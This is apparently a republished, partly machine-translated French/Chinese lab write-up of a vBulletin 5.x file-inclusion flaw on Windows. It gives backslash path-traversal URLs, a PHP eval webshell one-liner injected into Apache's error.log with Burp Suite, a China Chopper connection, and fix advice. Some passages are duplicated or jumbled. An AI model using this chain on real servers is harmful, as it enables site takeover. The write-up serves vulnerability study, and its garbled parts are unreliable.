Maison  >  Article  >  Opération et maintenance  >  Exemple d'analyse de la vulnérabilité d'exécution de code à distance dans la version vBulletin5.x

Exemple d'analyse de la vulnérabilité d'exécution de code à distance dans la version vBulletin5.x

王林
王林avant
2023-05-19 23:46:041328parcourir

1. Introduction à la vulnérabilité

Il existe un problème d'inclusion de fichiers dans vBulletin, qui permet à des visiteurs malveillants d'inclure des fichiers du serveur vBulletin et d'exécuter du code PHP arbitraire. Un visiteur malveillant non vérifié peut déclencher une vulnérabilité d'inclusion de fichier en émettant une requête GET contenant le paramètre routestring= à index.php, conduisant finalement à une vulnérabilité d'exécution de code à distance

2. Principe de vulnérabilité

La page index.php envoie une requête GET. Lorsque vous utilisez le paramètre routestring pour inclure des fichiers locaux, les fonctions fonctionnelles sont appelées couche par couche pour filtrer la valeur de la chaîne de route. Regardons le code de traitement principal.

Ce code se trouve dans le fichier /includes/vb5/frontend/routing.php /includes/vb5/frontend/routing.php文件

if  (strlen($path)  >  2  )            {                $ext = strtolower(substr($path,  -4))  ;              if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg')  OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js'))          {                header("HTTP/1.0 404 Not Found");            die('');          }    }

这段代码判断routestring获取的值是否以.gif, .png, .jpg, .css or .js结尾,如果是则头部信息返回404

if  (strpos($path,  '/')  ===  false)            {                $this->controller  =  'relay';              $this->action  =  'legacy';              $this->template  =  '';              $this->arguments  =  array($path);              $this->queryParameters  =  array();              return;          }

这段代码中strpos()函数返回/字符在$path中第一次出现的位置,若返回信息为false才会继续处理,也就是说路径中不能出现/

http://172.16.12.2/vb5/index.php<?php  @eval($_POST[c]);?>
Ce code détermine si la valeur obtenue par routestring est au format de .gif code>, <code>.png, .jpg, .css ou .js à la fin, si c'est le cas, les informations d'en-tête Renvoie 404

http://172.16.12.2/vb5/index.php?routestring=\..\..\..\..\..\..\phpstudy\apache\logs\error.log
La fonction strpos() dans ce code renvoie la position où le caractère / apparaît pour la première fois dans $ path S'il renvoie, le traitement continuera uniquement si l'information est false, ce qui signifie que / ne peut pas apparaître dans le chemin.

Pour les serveurs Linux, lors du traitement des URL, / représente le séparateur et l'indicateur de la couche répertoire, donc les autres fichiers du site Web ne peuvent pas être inclus sous la forme de plusieurs ../. Cependant, pour les serveurs Windows, / et sont équivalents lors de l'expression des chemins, mais le programme ne les traite pas, ce qui conduit à cette vulnérabilité d'inclusion de fichiers pour les serveurs Windows.

Version concernée


Numéro de version Version vBulletin v5.x Le découvreur de vulnérabilité a contacté le fabricant, mais n'a pas encore reçu de réponse

3. Exploitation de la vulnérabilité

Dans la prochaine partie pratique, nous approfondirons progressivement le sujet. compréhension et compréhension de la vulnérabilité Pour utiliser, utilisez d'abord la page pour signaler une erreur afin d'obtenir des informations relatives au serveur, puis incluez les fichiers internes du serveur et exécutez phpinfo() pour vérifier l'exécution du code et enfin incluez le fichier journal du site Web ; avec une phrase PHP écrite pour obtenir les autorisations de gestion du site Web.

Étape 1 Vérification de la vulnérabilité

Dans cette étape, nous utilisons simplement le rapport d'erreur pour obtenir les informations du serveur, puis utilisons la vulnérabilité pour inclure l'exécution de la fonction phpinfo() pour la vérification

Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.x1 Ouvrez l'URL cible 172.16. .12.2/vb5/index.php, la page d'accueil du site Web Comme suit :

2. Visitez la page de vulnérabilité et affichez le message d'erreur

Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.xOpen 172.16.12.2/vb5/index.php?routestring=.\ dans le navigateur, le message d'erreur est le suivant :


Vous pouvez voir la page Lorsque vous utilisez require_once() pour inclure le chemin actuel (C:phpstudyWWWvb5/core/.\), cela n'est pas autorisé et une erreur est signalée. Le message d'erreur divulgue le chemin absolu du site Web et du logiciel de création de site Web : phpstudy

phpstudy Lors de la création d'un site Web, par défaut, il se trouvera sur le site Web. Le répertoire racine laisse les fichiers l.php et phpinfo.php. Habituellement, les administrateurs du site Web le feront. supprimez ou modifiez ces deux fichiers car ils ont aussi le sens d'échapper, et \ et sont équivalents lors de l'expression de chemins, nous utilisons donc \ pour éviter qu'ils ne soient Escape (cette expérience peut également être réalisée)

3. Accédez au phpinfo. Fichier .txt

Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.xAfin de vérifier que la vulnérabilité est contenue, il existe un fichier phpinfo.txt dans le répertoire racine du site Web avec le contenu de

Le site Web affiche directement le contenu du texte

4 Incluez le fichier phpinfo.txt

Nous essayons ensuite d'inclure le fichier, ouvrons le lien construit.

http://172.16.12.2/vb5/index.php?routestring=\..\..\..\..\..\..\phpstudy\WWW\phpinfo.txtExemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.x


Ici nous connaissons déjà le chemin absolu du site Web sur le serveur, nous utilisons donc plusieurs ..\ plus le chemin du fichier pour indiquer le chemin du site Web du fichier inclus. Après avoir inclus le fichier, le serveur traite le fichier comme un fichier php analysé. , la fonction phpinfo() a été exécutée.

phpinfo() : fonction intégrée à PHP, affiche les informations de configuration du serveur PHP

Étape 2 de l'exploitation des vulnérabilités

Généralement, la façon dont les fichiers PHP contiennent des exploits de vulnérabilité consiste à utiliser d'abord le point de téléchargement du site Web. pour télécharger un fichier de code malveillant, puis recherchez le chemin du fichier téléchargé, construisez l'URL et exécutez le code malveillant en contenant la vulnérabilité. Cependant, cette méthode ne fonctionnera pas si le site Web lui-même ne dispose pas de point de téléchargement disponible, ou s'il existe des restrictions sur les fichiers téléchargés de sorte que nous ne pouvons pas connaître le chemin des fichiers, ou si les paramètres obtenus lors de la saisie sont filtrés. 🎜🎜Comme le montre ce qui précède, le programme a des restrictions sur les suffixes de fichiers inclus. S'il n'y a pas d'autre utilisation, nous pouvons choisir d'inclure les fichiers qui existent sur le site Web lui-même, ce qui est le mode d'utilisation dans cette expérience. : y compris les fichiers journaux du site Web🎜

本次包含的是Apache的错误访问日志(error.log),这个日志文件在phpstudy中的路径为: \phpstudy\apache\logs\error.log。

1.将一句话写入日志记录

首先,我们构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中。

http://172.16.12.2/vb5/index.php<?php  @eval($_POST[c]);?>

这个链接直接访问的话,一句话会被编码成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包。

使用Everything搜索BurpLoader.jar,双击打开工具Burp suite。

Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.x

配置浏览器的代理设置:

打开桌面的chrome浏览器,访问chrome://settings或者点击浏览器右侧的自定义按钮--》设置,进入设置界面

Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.x

点击下方的显示高级设置,找到更改代理服务器设置按钮并打开,在弹出的设置中选择局域网设置

Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.x

具体配置如下图,修改后确定

Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.x

配置完代理后,在浏览器中访问上述构造的链接,Burpsuite接受到数据包会自动截获,打开Burpsuite--》proxy--》Intercept,在下方文本框中,右击并选择Send to Repeater,随后点击Repeter功能按钮,对所截获的包进行修改。


Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.x

我们将被编码的链接改回编码之前的状态,修改后的内容如下:

Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.x

点击 Go按钮发送,返回403报错,服务器错误日志文件成功将此次记录到error.log中

Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.x

我们已经成功的将利用代码写入日志中了

注意利用代码的正确性,如果写入错误的代码可能会导致后续包含时,代码不能成功执行

现在,将Burpsuite关闭,并按照上述设置浏览器代理的方法关闭代理

Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.x

2.构造Webshell连接地址

们根据日志的路径构造访问路径:

http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log
  1. 客户端连接一句话

接下来就使用中国菜刀连接我们的一句话,使用Everything搜索并打开chopper,右击,选择添加,在地址栏内填入我们构造好的链接,右侧写入密码c,类型选择 PHP(Eval),然后点击添加。

Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.x

双击链接,连接成功(此处如果连接不上请检查写入的代码是否正确,代理是否关闭)

Exemple danalyse de la vulnérabilité dexécution de code à distance dans la version vBulletin5.x

包含日志文件需要确定的服务器日志路径,通常管理员会修改相关配置,而且写入代码时需要注意严格的格式和编码,所以这种方法不作为优选利用方法,但是在没有其他利用点的情况下,也是可以尝试的

修复方案

  • (1) 等待官方发布补丁,个人用户建议采用可替代的相关产品

  • (2) 企业用户可修改网站源代码,增加\字符的过滤处理

  • (3) 网站管理人员可以修改服务器本身敏感信息文件位置,避免漏洞的进一步利用

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer